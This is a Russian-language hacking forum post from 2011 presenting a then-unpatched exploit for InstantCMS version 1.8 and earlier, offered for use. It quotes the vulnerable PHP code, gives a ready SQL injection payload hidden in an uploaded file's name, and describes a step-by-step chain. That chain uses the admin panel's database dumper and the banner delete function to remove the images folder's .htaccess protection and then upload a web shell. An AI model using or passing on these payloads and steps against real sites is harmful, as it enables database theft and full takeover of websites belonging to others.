Показать сообщение отдельно
Старый 07.06.2011, 01:10   #5
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию InstantCMS <=1.8 sql inj[insert] +bonus

InstantCMS <=1.8 sql inj[INSERT] +bonus
Всем доброго дня, The matrix снова в эфире.
Удивительно, популярность движка возрасла в несколько раз по сравнению с моими замерами пол года назад.
Need: Включеный форум(по умолчанию включен)
Вкллючено добавление аттачей (по умолчанию включено)
MQ=пох
опасный кодес в файле /components/forum/frontend.php
PHP код:
$tmp_name $_FILES["fa"]["tmp_name"][$key];
                    
$file $_FILES["fa"]["name"][$key];
                    
$filesize $_FILES["fa"]["size"][$key];
                    
$path_parts pathinfo($file);
                    
$ext $path_parts['extension'];
                    
//check file extension is allowed
                    
if (strstr($cfg['fa_ext'], $ext)){
                        
$name basename($file'.' $path_parts['extension']);
                        
$name str_replace(' ''_'$name);
                        
$file $name '_' substr(session_id(), 05) . '.' $ext;
                        
$destination $_SERVER['DOCUMENT_ROOT']."/upload/forum/post".$post_id."/".$file;
                        
move_uploaded_file($tmp_name$destination);
                        
$sql "INSERT INTO cms_forum_files (post_id, filename, filesize, hits, pubdate)
                                VALUES ('
$post_id', '$file', '$filesize', 0, NOW())";
                        @
chmod($destination0777);
                        
$inDB->query($sql) ; 
После аплоада данные файла заносятся в бд. Мы внедриться можем в $file.
1) вконце имени файла будет приписана какая-то шняга, это не помеха
2) реплейсится пробел тоже не проблема.
3) эксплуатация немного неудобная, так как вывести данные мы можем только в столбик с типом int, так что юзаем ascii.
4) в конце имени файла должно быть разрешенное расширение.
Юзать так: шуруем на форум->создаем тему/отвечаем в теме->прилепляем файл->Хватаем запрос локальным прокси->переименовываем файл в
Код:
123',3,(select+substring(version(),1,1)),1)#.txt
-> отправляем.
В итоге получаем вывод возле надписи "скачали"

Bonus:Заливка шелла
вариант достаточно садистский по отношению к cms. Поэтому целесообразнее использовать вариант, который предложил Dr.Z3r0 сообщением выше.
с версии 1.7 в папку images добавлен .htaccess, который припятствует выполнению пхп.
Наша задача его убить... На время.
Код:
http://localhost/admin/index.php?view=components&do=config&link=banners
тут создаем баннер, и заливаем любой файл. Как создали, наводим курсором на название баннера, и запоминаем его item_id.
После создания и успешной заливки данные баннера занесутся в таблицу.
PHP код:
if (@move_uploaded_file($_FILES['picture']['tmp_name'], $uploadfile)) {            
                    
$sql "INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published)
                            VALUES ('
$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '$title', '$link', $published)"
Зачем это нужно? Дело в том что мы можем удалить произвольный файл.
в файле /admin/components/banners/backend.php
PHP код:
    if($opt == 'delete'){
        if(isset(
$_REQUEST['item_id'])) { 
            
$id $_REQUEST['item_id'];        
            
$sql "SELECT * FROM cms_banners WHERE id = $id LIMIT 1";
            
$result dbQuery($sql) ;            
            if (
mysql_num_rows($result)){            
                
$f mysql_fetch_assoc($result);
                
unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/'.$f['fileurl']);    
                
$sql "DELETE FROM cms_banners WHERE id = $id";
                
dbQuery($sql) ;            
                
header('location:?view=components&do=config&id='.$_REQUEST['id'].'&opt=list');
            }
        }
    } 
теперь наша задача занести в столбец fileurl таблицы banners путь к .htaccess.
Решение найдено во встроенном дампере, который позволяет выполнить нам любой запрос к бд. Он у нас тут.
Код:
http://localhost/admin/index.php?view=backup
создаем файлик с содержимым:
Код:
UPDATE `cms_banners` SET `fileurl` = '../.htaccess' WHERE `id` =[item_id созданного баннера] LIMIT 1 ;
импортируем его в дампер. Этот запрос выполнится.
Далее возвращаемя к баннерам.
Код:
http://localhost/admin/index.php?view=components&do=config&link=banners
и напротив созданного нами баннерами жмем кнопку "удалить".
Все .htaccess исчез. можно теперь залить шелл через баннеры. Ну и конечно же хорошим тоном будет после заливки вернуть .htaccess на место.
Вот и все. (c) The matrix
P.S на данный момент 0day.А поэтому убедительная просьба, не ломайте офф сайт.

Последний раз редактировалось The matrix; 10.06.2011 в 17:18..
The matrix вне форума   Ответить с цитированием